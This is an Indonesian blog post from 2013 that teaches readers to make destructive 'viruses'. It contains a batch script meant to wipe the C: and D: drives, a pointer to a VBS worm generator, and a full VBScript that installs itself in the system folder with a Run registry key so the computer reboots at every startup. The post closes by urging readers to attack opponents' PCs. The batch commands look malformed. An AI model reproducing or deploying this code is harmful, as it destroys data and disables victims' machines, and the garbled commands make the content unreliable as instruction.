Friday, November 22, 2013
Virus yang akan kita buat kali ini adalah virus yang bisa dikatakan jauh lebih mematikan dari pada virus - virus lainnya. Mungkin cara ini cukup ekstrem untuk dipraktikan. Jadi, jangan sampai artikel ini disalah gunakan.
Langsung saja, buka notepad dan ketikkan script berikut ini :
@echo off
DEL C: -Y
DEL D: -Y
Kemudian simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri nama virus ini dengan kata apa saja terserah Anda dan diakhiri dengan kata .bat, misal virus.bat , kemudian klik save.
Setelah file ini disimpan, JANGAN DIKLIK!!!
Virus ini adalah virus yang sangat mematikan, bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa terkecuali. Sehingga, hal ini dapat menyebabkan komputer Anda akan mati total. Untuk sampel virusnya bisa langsung download disini jika tidak ingin memakai cara copy paste diatas.
2. ( TUTORIAL KEDUA )
Tutorial kedua ini adalah Cara membuat Virus yang Mematikan, namanya WORM,, mungkin sobat dah pada tau kan apa itu virus worm ?? yap, Worm adalah Virus yang menyebabkan Infeksi pada PC,,,,
oke daripada akhirnya ceramah langsung aja :
- buka aplikasi VBS Worm Generator
- Buat Yang Belum ada Download Di Link Berikut ini : VBS Worm Generator
- Isi Form name dengan Nama Virus anda
- Dan Pada Form Backup tempat backup Virus anda..
3. ( TUTORIAL KETIGA )
Oke Dicara Ketiga ini, Command comTechno Memberi Tutorial Membuat Virus Trijan Dengan Notepad,, oke langsung aja Di Sambar Tutorialnya,
- Buka Notepad Agan" masing",,,
- Setelah Dibuka, Copy Kode berikut,,
On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData
set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"
sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")
set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function
function rebootSystem()
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
- Setelah Dicopy, Save as dengan ektensi .VBS, Contoh : Virus.vbs
Oke Sekian dulu Post : Cara Membuat Virus Mematikan 100% | ( SOFTWARE AND NO SOFTWARE ) atas Kunjungannya Terima kasih, Silahkan Tinggalkan Komentar yakh ;)
SERBU PC LAWAN ^_^
